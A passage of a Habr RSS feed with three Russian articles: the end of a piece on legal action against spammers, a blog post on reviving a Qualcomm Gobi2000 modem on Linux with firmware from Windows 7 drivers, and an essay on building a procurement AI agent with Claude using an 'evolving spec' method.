комиссиях. Ответственность за непредоставление информации Управлению. Какие согласия ФАС признаёт ненадлежащими? Как признать недействительными ВСЕ согласия спамера? Требование о прекращении распространения рекламы и отзыв согласия на обработку персональных данных.&lt;li&gt;&lt;p&gt;Способы ухода спамеров от ответственности и меры противодействия им. Реальные случаи из практики.&lt;li&gt;&lt;p&gt;Дуализм правовых процедур в рекламном законодательстве. Разница между Законом о рекламе, Правилами рассмотрения дел и Кодексом РФ об административных правонарушениях. Одна жалоба – две процедуры, три подсудности. Рекламные дела, дела об АП. Участие в рассмотрении дела. Запрос информации у ФАС.&lt;li&gt;&lt;p&gt;Когда спамер нарушает закон о персональных данных? Что писать в Роскомнадзор и что он может сделать?&lt;li&gt;&lt;p&gt;Вас послали, а вы не послались! Что делать если вы не согласны с решением Управления. Разница в подходе к рассмотрению жалоб в двух столицах и регионах.&lt;li&gt;&lt;p&gt;Встретимся в суде! Мой адвокат Сол Гудман! Как подать на спамера в суд. Компенсация морального вреда. Сложности, суммы, холивар о применимых законах.&lt;/ul&gt;&lt;p&gt;С радостью пообщаюсь с вами в комментариях. Телеграм каналы не рекламирую.&lt;p&gt; &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>xokare</author>
      <guid>https://habr.com/ru/articles/1046153/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046153</guid>
      <pubDate>Wed, 10 Jun 2026 15:20:04 +0000</pubDate>
    </item>
    <item>
      <title>Как меня занесло в Debian 8 ради запуска Qualcomm Gobi2000 на Lenovo S10-3</title>
      <link>https://habr.com/ru/articles/1046151/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046151</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Недавно я решил немного привести в порядок свой старый Lenovo S10-3. Для большинства людей это давно устаревший нетбук: Intel Atom N455, 2 ГБ памяти и возраст, сравнимый с некоторыми современными стажёрами. Но после установки SSD Kingston на 480 ГБ и Linux он вполне пригодился в роли мобильной аварийной консоли администратора. SSH, WireGuard, браузер, консоль — большего от него и не требуется.&lt;p&gt;Варианты ставить Windows 8 или 8.1 я даже не рассматривал. Процессор слишком слабый, оперативной памяти мало, а комфортной работы всё равно не получилось бы. Изначально этот нетбук поставлялся с Windows XP Home Edition, но даже на родной системе отзывчивость оставляла желать лучшего. Поэтому выбор Linux в качестве основной и единственной операционной системы был вполне осознанным и оправданным.&lt;p&gt;Во время очередного эксперимента я вспомнил, что внутри установлен встроенный WWAN-модуль HP un2420 на базе Qualcomm Gobi2000. Сегодня такие устройства практически исчезли из поля зрения. Большинство пользователей давно перешло на LTE и 5G, а инструкции по Gobi2000 заканчиваются где-то во временах Windows 7.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/2c6/dd3/c14/2c6dd3c143467cbc52ab086eed2c91d6.jpg width=425 height=911 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/2c6/dd3/c14/2c6dd3c143467cbc52ab086eed2c91d6.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/2c6/dd3/c14/2c6dd3c143467cbc52ab086eed2c91d6.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;И да, мне стало интересно. Не потому, что мне жизненно необходим 3G-интернет в 2026 году. Просто хотелось понять, можно ли заставить эту древность работать на современной системе. Срочно достал рабочую SIM-карту из запасников и понеслась работа.&lt;br&gt;&lt;br&gt;&lt;p&gt;Модем определялся системой сразу:&lt;p&gt;&lt;code&gt;&lt;em&gt;Bus 001 Device 002: ID 03f0:241d HP, Inc Gobi 2000 Wireless Modem (QDL mode)&lt;/em&gt;&lt;/code&gt;&lt;p&gt;Однако на этом хорошие новости заканчивались. Система видела устройство, но полноценного модема как будто не существовало. NetworkManager не предлагал подключение, а ModemManager первоначально не мог использовать устройство по назначению.&lt;p&gt;Первой мыслью было, что модем банально неисправен. Всё-таки железке больше пятнадцати лет. Второй вариант — современные ядра Linux давно забыли про существование Gobi2000. Третья гипотеза заключалась в отсутствии подходящей firmware, что подтверждалось QDL-состоянием устройства.&lt;p&gt;Поиск по современным ресурсам дал немного. Большинство рабочих инструкций относилось к эпохе Debian 7, Debian 8 и Windows 7. В какой-то момент я поймал себя на мысли, что решаю проблему современной системы через документацию десятилетней давности.&lt;p&gt;Именно тогда всплыла утилита &lt;strong&gt;&lt;em&gt;gobi_loader&lt;/em&gt;&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;Сначала я попробовал штатный gobi_loader из MX Linux. Устройство определялось, но до рабочего состояния так и не доходило. Именно тогда возникло подозрение, что проблема может быть не в модеме, а в самой утилите.&lt;p&gt;Постепенно стало понятно, что Gobi2000 устроен не совсем так, как большинство современных модемов. После подключения устройство находится в специальном bootstrap-состоянии и ожидает загрузки firmware. Без этого шага полноценный модем просто не появляется в системе. Сегодня подобное поведение выглядит необычно, поэтому его легко принять за неисправность.&lt;p&gt;В процессе выяснилось, что не все версии gobi_loader одинаково полезны. Утилита из репозиториев MX Linux корректно определяла устройство, однако не позволяла завершить процесс инициализации модема. В итоге был использован gobi_loader из Debian 8, найденный по старым обсуждениям и документации того периода. После замены штатной версии на более старую утилита начала работать именно так, как ожидалось для Gobi2000.&lt;p&gt;Забавно, что для запуска модема образца 2010 года на Linux 2026 года пришлось использовать программное обеспечение времён Debian 8. Вся эта история всё больше напоминала археологические раскопки.&lt;p&gt;Самым интересным моментом оказалась прошивка. У меня сохранился комплект драйверов Windows 7 для HP un2420. Из него были извлечены MBN-файлы, после чего была собрана директория firmware для Linux:&lt;p&gt;&lt;code&gt;&lt;em&gt;/lib/firmware/gobi/amss.mbn&lt;/em&gt;&lt;/code&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;/lib/firmware/gobi/apps.mbn&lt;/em&gt;&lt;/code&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;/lib/firmware/gobi/UQCN.mbn&lt;/em&gt;&lt;/code&gt;&lt;p&gt;Фактически старый пакет драйверов Windows выступил источником firmware для современной Linux-системы.&lt;p&gt;На мой взгляд, это одна из самых интересных деталей всей истории: чтобы заставить работать модем на Linux 2026 года, понадобились файлы из драйверов эпохи Windows 7.&lt;p&gt;Отдельно стоит отметить, что путь к результату оказался далеко не прямым. Приходилось экспериментировать с различными вариантами firmware, комбинировать файлы из нескольких комплектов драйверов и анализировать поведение модема через AT-команды. Некоторые конфигурации позволяли устройству определяться системой, но не давали зарегистрироваться в сети. В других случаях модем переходил в ограниченный режим работы. Лишь после нескольких итераций удалось подобрать набор firmware, при котором устройство полноценно заработало в сети оператора.&lt;p&gt;После размещения firmware и замены штатного gobi_loader на версию из Debian 8 была использована классическая команда:&lt;p&gt;&lt;code&gt;&lt;em&gt;sudo /lib/udev/gobi_loader -2000 /dev/ttyUSB0 /lib/firmware/gobi&lt;/em&gt;&lt;/code&gt;&lt;p&gt;Утилита оказалась именно той недостающей частью пазла. После её запуска модем отключился от USB-шины и через несколько секунд появился снова. В журнале ядра появились характерные сообщения о создании интерфейсов ttyUSB0, ttyUSB1 и ttyUSB2. После этого система зарегистрировала устройство уже как полноценный модем и создала сетевой интерфейс wwan0.&lt;p&gt;Проверка через ModemManager показала, что устройство успешно определяется системой:&lt;p&gt;&lt;code&gt;&lt;em&gt;manufacturer: Qualcomm Incorporated&lt;/em&gt;&lt;/code&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;model: HP un2420 Mobile Broadband Module&lt;/em&gt;&lt;/code&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;firmware revision: D1025-STUTABGD-3600&lt;/em&gt;&lt;/code&gt;&lt;p&gt;Самое приятное ожидало дальше:&lt;p&gt;&lt;code&gt;&lt;em&gt;state: connected&lt;/em&gt;&lt;/code&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;access tech: hsdpa, hsupa&lt;/em&gt;&lt;/code&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;registration: home&lt;/em&gt;&lt;/code&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;packet service state: attached&lt;/em&gt;&lt;/code&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c10/b5d/78f/c10b5d78fe55c23f40ea773c62f0e8de.png width=1024 height=600 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c10/b5d/78f/c10b5d78fe55c23f40ea773c62f0e8de.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c10/b5d/78f/c10b5d78fe55c23f40ea773c62f0e8de.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;То есть модем не просто определился. Он зарегистрировался в сети оператора и установил соединение.&lt;p&gt;В системе появился интерфейс wwan0, который получил адрес мобильного оператора:&lt;p&gt;&lt;code&gt;&lt;em&gt;inet &lt;/em&gt;&lt;/code&gt;&lt;a href=http://10.144.xxx.xxx/30 rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;&lt;em&gt;10.144.xxx.xxx/30&lt;/em&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;После этого оставалось проверить самое главное. Внешний IP успешно определялся через curl, а тестовые пинги проходили без потерь:&lt;p&gt;&lt;code&gt;&lt;em&gt;PING 8.8.8.8&lt;/em&gt;&lt;/code&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;4 packets transmitted, 4 received, 0% packet loss&lt;/em&gt;&lt;/code&gt;&lt;p&gt;Также корректно работало разрешение DNS-имён:&lt;p&gt;&lt;code&gt;&lt;em&gt;PING &lt;/em&gt;&lt;/code&gt;&lt;a href=http://google.com rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;&lt;em&gt;google.com&lt;/em&gt;&lt;/code&gt;&lt;/a&gt;&lt;code&gt;&lt;em&gt;&lt;/em&gt;&lt;/code&gt;&lt;p&gt;&lt;code&gt;&lt;em&gt;4 packets transmitted, 4 received, 0% packet loss&lt;/em&gt;&lt;/code&gt;&lt;p&gt;На этом этапе эксперимент можно было считать завершённым.&lt;p&gt;Изначально я предполагал, что проблема находится где-то в драйверах или несовместимости старого оборудования с современным Linux. На практике всё оказалось намного интереснее. Сам модем исправен. Современное ядро Linux прекрасно умеет работать с Gobi2000. Основная проблема заключается в том, что устройству необходимо загрузить firmware до появления полноценного модемного интерфейса.&lt;p&gt;В итоге для решения задачи потребовались старый Lenovo S10-3, модем HP un2420, несколько файлов из драйверов Windows 7 и утилита gobi_loader, найденная благодаря документации времён Debian 8.&lt;p&gt;Результатом стал полностью работоспособный 3G-модем образца 2010 года, который успешно подключился к сети и получил доступ в Интернет на современной Linux-системе.&lt;p&gt;Возможно, практической пользы от этого эксперимента немного. LTE-модем сегодня купить гораздо проще. Но целью было не получить интернет любой ценой. Целью было понять, можно ли заставить работать устройство, которое большинство давно считает устаревшим. Оказалось, что можно.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>iCyanide</author>
      <guid>https://habr.com/ru/articles/1046151/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046151</guid>
      <pubDate>Wed, 10 Jun 2026 15:17:18 +0000</pubDate>
    </item>
    <item>
      <title>3 дня вместо 6 месяцев. Я перестала ждать разработчика и собрала продукт сама</title>
      <link>https://habr.com/ru/articles/1046147/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046147</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;6 месяцев. Это сколько мы строили продукт с внешним разработчиком. Потом я психанула и сделала за 3 дня сама с помощью AI. Дальше — что я поняла из этого опыта.&lt;p&gt;Эта статья — не «AI заменит разработчиков». Это про другое — про то, как методология работы меняется, когда у тебя есть AI как партнер.&lt;hr&gt;&lt;h3&gt;Что строили&lt;/h3&gt;&lt;p&gt;Продукт назывался BidSpot. AI‑агент для b2b‑закупок на маркетплейсах Индонезии. Логика простая: закупщик описывает, что нужно, на естественном языке («нужны 2 ноутбука Asus Zenbook S 14 UX5406, бюджет до 30 млн IDR за штуку»). Дальше агент сам переводит запрос на индонезийский, ищет на Shopee / Tokopedia / Blibli, нормализует выдачу, считает per‑unit цены, ранжирует топ-7, сравнивает с медианой рынка и с похожими тендерами на платформе Zinit, отдает проверяемый markdown‑отчет со ссылками прямо на товары.&lt;p&gt;В ноябре 2025-го мы подписали договор с внешним разработчиком на MVP такого продукта. Архитектура двухстадийная: глубокий поиск (точная модель → лучшие предложения) и широкий поиск (если точной модели не найдено — подобрать альтернативы).&lt;p&gt;КП я запрашивала у трех подрядчиков. Все назвали MVP за 2 месяца. Сроки в трех КП были похожи — это убеждало, что 2 месяца — реалистичная оценка. Выбрала одного.&lt;p&gt;Stage 1 («Глубокий поиск») собрали. Не за 2 месяца. К маю Stage 2 еще не был в продакшне.&lt;p&gt;И вот здесь — главная проблема, которая выяснилась только в ретроспективе. Без лексики разработчика прийти к подрядчику со словами «здесь должно быть так, а не иначе, давай по‑моему» — невозможно. Не из‑за подрядчика — из‑за самой конфигурации работы. Заказчик без технического языка может только смотреть на демо, говорить «не работает» и ждать следующего демо через две недели.&lt;p&gt;В этой конфигурации &lt;strong&gt;управления проектом нет&lt;/strong&gt;. Есть надежда, что подрядчик примет правильные решения за заказчика.&lt;p&gt;К маю накопилось.&lt;h3&gt;Что запустило&lt;/h3&gt;&lt;p&gt;Первая эмоция была не страх. Это была злость — что я не управляю проектом, не знаю всех альтернатив, между которыми разработчик выбирает.&lt;p&gt;Вторая эмоция шла сразу: «А я не хочу злиться и ничего не делать. Я хочу делать, а не злиться».&lt;p&gt;В этот момент открылся Claude и пошел первый промт.&lt;h3&gt;Что получилось за 3 дня&lt;/h3&gt;&lt;p&gt;Вечером 27 мая — один промт, один API‑ключ, никакой инфраструктуры. Пять разных категорий товаров — ноутбук, кондиционер, промышленный клей, проектор, холодильник — прошли через прототип. Все пять вернули проверяемые markdown‑отчеты с реальными ценами на индонезийских маркетплейсах. Это был proof of concept.&lt;p&gt;Дальше — три рабочих дня.&lt;p&gt;К концу третьего дня в продакшне работало:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Backend&lt;/strong&gt; — FastAPI на Railway. От первого коммита до доступного API — 38 минут. Полный пайплайн: перевод запроса → SerpAPI Google Shopping → нормализация → ранжирование через Claude Opus → markdown‑отчет.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Frontend&lt;/strong&gt; — web‑интерфейс на Lovable, через который можно сделать запрос и получить отчет.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Бенчмарк с платформой Zinit&lt;/strong&gt; — автоматическое сопоставление товара из выдачи с похожими закупками в тендерах Zinit, с per‑unit нормализацией цены.&lt;li&gt;&lt;p&gt;&lt;strong&gt;8 критических доработок качества&lt;/strong&gt; — точное совпадение артикулов, обработка multi‑pack товаров, дедупликация дубликатов, бейдж «Different SKU» для близких вариантов, Marketplace Trust Rule для safety‑critical категорий и еще несколько.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Архитектурный слой feature flags&lt;/strong&gt; — под будущие тарифы (без него продукт нельзя продавать с разной премиум‑логикой).&lt;li&gt;&lt;p&gt;&lt;strong&gt;Документация для передачи&lt;/strong&gt; — README, &lt;a href=http://HANDOFF.md rel=&#34;noopener noreferrer nofollow&#34;&gt;HANDOFF.md&lt;/a&gt; с блоком «как не сломать», чеклист переноса домена, описание env‑переменных.&lt;/ul&gt;&lt;p&gt;Стек: FastAPI + Anthropic Claude (Sonnet 4.5 на пайплайне + Opus 4.5 на ранжировании) + SerpAPI Google Shopping + Railway‑хостинг + Lovable‑фронтенд. Стоимость одного поиска ~$0.53. Время одного поиска ~60 секунд.&lt;p&gt;Это не «MVP, который теоретически работает». Это продукт, который можно передать новому техлиду — он откроет &lt;a href=http://HANDOFF.md rel=&#34;noopener noreferrer nofollow&#34;&gt;HANDOFF.md&lt;/a&gt;, прочитает чеклист и поймет, как система устроена и где она может сломаться.&lt;p&gt;Дальше — про метод, без которого этих трех дней бы не было.&lt;h3&gt;Растущее ТЗ как метод&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Классический сценарий работы по ТЗ, который я знаю:&lt;/strong&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Пишется ТЗ.&lt;li&gt;&lt;p&gt;ТЗ отдается разработчику.&lt;li&gt;&lt;p&gt;Идет ожидание.&lt;li&gt;&lt;p&gt;Приходит демо.&lt;li&gt;&lt;p&gt;На демо что‑то не так.&lt;li&gt;&lt;p&gt;Пишется новое ТЗ или дополнение.&lt;li&gt;&lt;p&gt;Goto 2.&lt;/ol&gt;&lt;p&gt;Что в этом не так: &lt;strong&gt;ТЗ написано до того, как кто‑либо увидел первый результат.&lt;/strong&gt; Большая часть деталей, которые на самом деле важны, обнаруживается только когда продукт сталкивается с реальными данными. Узнавание происходит &lt;strong&gt;через две недели&lt;/strong&gt; — через демо. Исправление — еще через две недели.&lt;p&gt;Этот темп — норма индустрии. Никто его не выбирал; он сложился исторически, когда цикл «гипотеза → проверка → коррекция» стоил дорого по человеко‑часам.&lt;p&gt;Когда в качестве партнера появляется AI, темп цикла меняется. И это меняет все остальное — в том числе само понятие «ТЗ».&lt;h4&gt;Правило&lt;/h4&gt;&lt;p&gt;В одной строке:&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Каждая проверка результата = расширение списка задач.&lt;/strong&gt;&lt;/blockquote&gt;&lt;p&gt;В переводе на человеческий: ТЗ не пишется до конца. Пишется первый набросок. Запускается первая версия. Дальше идет проверка результата — и &lt;strong&gt;из того, что увидела, рождаются новые задачи в ТЗ&lt;/strong&gt;.&lt;p&gt;Следующая итерация. Снова проверка. Снова находки → новые задачи. ТЗ растет &lt;strong&gt;из результата&lt;/strong&gt;, а не из предположений.&lt;p&gt;Вот один цикл из рабочей переписки с Claude, дословно:&lt;blockquote&gt;&lt;p&gt;«Внеси в ТЗ твои находки в виде задач. Сначала зафиналим обсуждение, проанализируем еще несколько моментов (пришлю в следующем сообщении), а потом будем реализовывать задачи.»&lt;/blockquote&gt;&lt;p&gt;И ответ — три новые задачи в ТЗ с описанием «где проявилось / корень / решение / acceptance / объем». Я их не формулировала. Я только смотрела на отчеты и говорила, что необходимо добавить, чего не хватает, на что обратить внимание — Claude переводил наблюдения в задачи.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c96/fcc/9c1/c96fcc9c171465527f92608c2571bf5c.png width=2564 height=1798 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c96/fcc/9c1/c96fcc9c171465527f92608c2571bf5c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c96/fcc/9c1/c96fcc9c171465527f92608c2571bf5c.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Через час — следующая команда:&lt;blockquote&gt;&lt;p&gt;«Подготовь на основе этих пунктов план сессий. По приоритету — сначала устраняем качественные баги.»&lt;/blockquote&gt;&lt;p&gt;13 накопленных задач разбиваются на Сессию 5 (качество, 8 задач) и Сессию 6 (надежность, 5 задач). Внутри каждой — приоритеты Critical / Should.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/95f/cd9/4bb/95fcd94bb538b7865ceb95f9abc81e40.png width=1294 height=1290 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/95f/cd9/4bb/95fcd94bb538b7865ceb95f9abc81e40.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/95f/cd9/4bb/95fcd94bb538b7865ceb95f9abc81e40.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Это и есть «растущее ТЗ». Не оно пишется заранее — оно &lt;strong&gt;направляется в моменте&lt;/strong&gt;. От человека требуется одно: смотреть на результат и говорить, что в нем важно, что мелочь, а что блокер. Перевод содержания в структуру задач делает AI.&lt;h4&gt;Пример провала&lt;/h4&gt;&lt;p&gt;Чтобы не было ощущения, что все работает с первого раза.&lt;p&gt;Одна из задач Сессии 5 звучала просто: в финальном объяснении выбора AI должен ссылаться на видимую читателю позицию товара в списке, а не на внутренний идентификатор. Логично, очевидно, исправляется через корректировку промта на 5 строк.&lt;p&gt;Первая итерация: формулировка переписана. Запускаю. Результат: AI продолжает писать «(idx N)» в скобках.&lt;p&gt;Вторая итерация: добавлен явный запрет на парентезу с idx. Запускаю. AI больше не пишет «(idx N)», но порядок ссылок все равно не соответствует видимому порядку.&lt;p&gt;Третья итерация: добавлена принудительная сортировка результата по полю rank перед передачей в промт. Запускаю. AI ссылается на верный порядок, но язык объяснений ушел в технический жаргон.&lt;p&gt;Четвертая, финальная итерация: промт переписан с нуля. Не «не делай X», а «делай так: формулируй объяснение через цену — „за 25.7 млн получаете 32 GB, против 30 млн у первой позиции“„. Запускаю. Работает.“»&lt;p&gt;Каждая итерация — 20–30 минут. Четыре итерации на одну задачу — примерно 2 часа. И это нормально.&lt;p&gt;В классической работе по ТЗ это заняло бы 4 демо подряд через 2 недели каждое — два месяца на одну, по сути мелкую, задачу. С растущим ТЗ — два часа в один заход. Это и есть та самая разница в темпе цикла.&lt;h4&gt;Санити‑чек&lt;/h4&gt;&lt;p&gt;Без одного дополнительного правила растущее ТЗ превращается в свалку.&lt;p&gt;Правило — &lt;strong&gt;остановка для инвентаризации каждые 2–3 часа работы.&lt;/strong&gt; Дословная формула, которая у меня хорошо работает:&lt;blockquote&gt;&lt;p&gt;«Делаем короткую паузу. Выдыхаем. Подготовь статус: что было зафиксировано как „необходимо сделать“, что было зафиксировано как „не забыть и обязательно“, что было упомянуто, что из этого было сделано, что осталось.»&lt;/blockquote&gt;&lt;p&gt;В ответ приходит структурированный обзор: эволюция документа, инвентаризация задач (что обязательно / не забыть / упомянуто / сделано / осталось), статусы каждого пункта.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/22a/0a5/808/22a0a5808417e75a08566b2b9970f68a.png width=1748 height=1290 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/22a/0a5/808/22a0a5808417e75a08566b2b9970f68a.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/22a/0a5/808/22a0a5808417e75a08566b2b9970f68a.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Эта пауза занимает 5 минут и снимает 80% риска уйти не туда. Без нее через 3–4 часа работы накапливается дрейф: задачи трактуются по‑разному, забывается, что уже сделано, появляются дубли.&lt;p&gt;Санити‑чек — это не задержка. Это &lt;strong&gt;способ продолжать двигаться быстро, не теряя направления&lt;/strong&gt;.&lt;h4&gt;Эффект 50×&lt;/h4&gt;&lt;p&gt;Хочется здесь быть особенно аккуратной — потому что часто отсюда делают неверный вывод «значит, разработчики не нужны». Это не так.&lt;p&gt;Разница в &lt;strong&gt;темпе цикла&lt;/strong&gt;.&lt;p&gt;С разработчиком цикл «нашла → описала → внедрил → проверила» занимает 1–2 недели. И это нормально. Разработчик — это человек, у которого несколько проектов, ему нужно переключаться, нужно встретиться, нужно протестировать.&lt;p&gt;С AI тот же цикл занимает &lt;strong&gt;15–30 минут&lt;/strong&gt;.&lt;p&gt;Когда цикл укорачивается в 50 раз, &lt;strong&gt;необходимость писать ТЗ заранее отпадает&lt;/strong&gt;. Оно пишется в процессе. И это не «улучшение старого процесса». Это &lt;strong&gt;другой режим работы&lt;/strong&gt;, в котором отдельные правила старого процесса просто перестают иметь смысл.&lt;p&gt;AI как партнер снимает требование заранее знать ответ. А заранее знать ответ — это ровно то, чего не получалось у меня в первые шесть месяцев работы с подрядчиком. Я не знала индонезийские маркетплейсы. Не знала, как ведут себя multi‑pack товары. Не знала, что Google Shopping возвращает Bahasa‑результаты в три раза меньше, если запрос не переведен.&lt;p&gt;Все это узнавалось &lt;strong&gt;из самих отчетов&lt;/strong&gt;. И в момент, когда узнавалось — расширялось ТЗ.&lt;h3&gt;Что было сложно, а что просто&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Сложно:&lt;/strong&gt; не код. Код Claude писал хорошо.&lt;p&gt;Сложно — &lt;strong&gt;внешние сервисы&lt;/strong&gt;. Railway, SerpAPI. У каждого своя логика авторизации, свои переменные окружения, свои ошибки. Это та область, где AI не работает в одиночку: он не видит мою консоль Railway, не знает, какой именно env‑var забыт. Здесь нужны руки — копировать ошибки, искать в документации, пробовать заново.&lt;p&gt;Это к разговору о «AI все сделал»: нет, не все. AI закрыл архитектуру и логику. Операционные стыки закрылись руками.&lt;p&gt;&lt;strong&gt;Просто:&lt;/strong&gt; соблюдать само правило «каждая проверка результата = новая задача в ТЗ».&lt;p&gt;Но здесь важная оговорка — и она опровергает соблазнительный, но неверный вывод.&lt;p&gt;Растущее ТЗ &lt;strong&gt;не отменяет необходимости держать цельную картину продукта в голове&lt;/strong&gt;. Это базовый навык, без которого даже идеальная методология не поможет. Если ты не понимаешь, какие компоненты системы как влияют друг на друга, что от чего зависит, что критично, а что вторично — растущее ТЗ превратится в плоский список задач без приоритетов. Каждая задача будет казаться одинаково важной, и проект встанет.&lt;p&gt;Что растущее ТЗ снимает — это необходимость &lt;strong&gt;держать в голове операционную инвентаризацию&lt;/strong&gt;: какие конкретные задачи стоят в очереди, что уже сделано, что забыто, в какой сессии они должны быть выполнены, в каком порядке. Эта детализация переезжает в живой документ.&lt;p&gt;Цельная картина — в голове. Детальная инвентаризация — в ТЗ. Без первого второе бесполезно. И это к слову про порог входа: метод не «упрощает работу», он сдвигает ее в другую плоскость, где экспертное мышление становится критичнее, а память на детали — менее необходимой.&lt;h3&gt;Что значит «3 дня»&lt;/h3&gt;&lt;p&gt;Это не «все готово». Это &lt;strong&gt;продукт, который можно передать команде&lt;/strong&gt;.&lt;p&gt;И вот здесь — главное отличие от шестимесячного процесса с подрядчиком. У подрядчика к шестому месяцу не было ни HANDOFF‑документа, ни чеклиста, ни описания «как не сломать систему». В работе с растущим ТЗ все это появилось автоматически — не потому что кто‑то лучше, а потому что &lt;strong&gt;методология растущего ТЗ порождает документацию как побочный эффект&lt;/strong&gt;. Каждая задача описана. Каждое решение зафиксировано. Передача — это просто прочитать файл.&lt;h3&gt;Кому подойдет метод&lt;/h3&gt;&lt;p&gt;Не каждому.&lt;p&gt;&lt;strong&gt;Работает, если есть:&lt;/strong&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Цельная картина продукта в голове.&lt;/strong&gt; Без этого растущее ТЗ становится плоским списком без приоритетов.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Готовность вести документацию параллельно с работой.&lt;/strong&gt; ТЗ — не отчет после факта, а живой документ, растущий прямо в процессе.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Привычка проверять каждый шаг до перехода к следующему.&lt;/strong&gt; Без этой дисциплины растущее ТЗ превратится в свалку.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Дисциплина формулировок.&lt;/strong&gt; Отдельная большая тема — как именно нужно говорить с AI, чтобы получать неповерхностные ответы. Об этом — следующим текстом.&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;Не работает для:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Команды разработчиков. Растущее ТЗ — для одного человека + AI. У команды появляется проблема синхронизации.&lt;li&gt;&lt;p&gt;Регуляторных продуктов, где ТЗ должно быть зафиксировано заранее (банки, медицина, госзаказ).&lt;li&gt;&lt;p&gt;Продуктов, где цена ошибки в одной итерации очень высока (продакшн с миллионами пользователей).&lt;/ul&gt;&lt;h3&gt;Главное&lt;/h3&gt;&lt;p&gt;Дело не в скорости.&lt;p&gt;Дело в том, что появилась новая профессиональная единица: &lt;strong&gt;«эксперт + AI»&lt;/strong&gt;. Эксперт здесь — не «эксперт в коде». Эксперт — это тот, кто знает &lt;strong&gt;задачу&lt;/strong&gt;. Тот, кто может посмотреть на отчет и сказать «здесь не так, потому что multi‑pack искажает медиану в два раза».&lt;p&gt;Я не разработчик. Но я знаю задачу. Знаю, какой результат должен получить закупщик. Знаю, что в Индонезии маркетплейсы работают на Bahasa и что без перевода запроса выдача в три раза меньше. Знаю, что b2b‑закупщик не верит круглым числам и хочет видеть проверяемый источник цены.&lt;p&gt;Это и было причиной, по которой 3 дня хватило. Не AI. &lt;strong&gt;Знания задачи + AI&lt;/strong&gt; хватило.&lt;p&gt;«6 месяцев vs 3 дня» — это не про то, что один лучше другого. Это про то, что &lt;strong&gt;сжимать цикл «гипотеза → проверка → коррекция» в 50 раз — это другой режим работы&lt;/strong&gt;. В этом режиме одни вещи возможны, другие — теряют смысл.&lt;p&gt;Если сейчас в голове возник вопрос «а можно ли так быстро?» — попробуйте. На следующей маленькой задаче. С правилом «каждая проверка результата = новая задача в ТЗ». Через неделю напишите, что получилось.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>OlgaZhulikova</author>
      <guid>https://habr.com/ru/articles/1046147/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046147</guid>
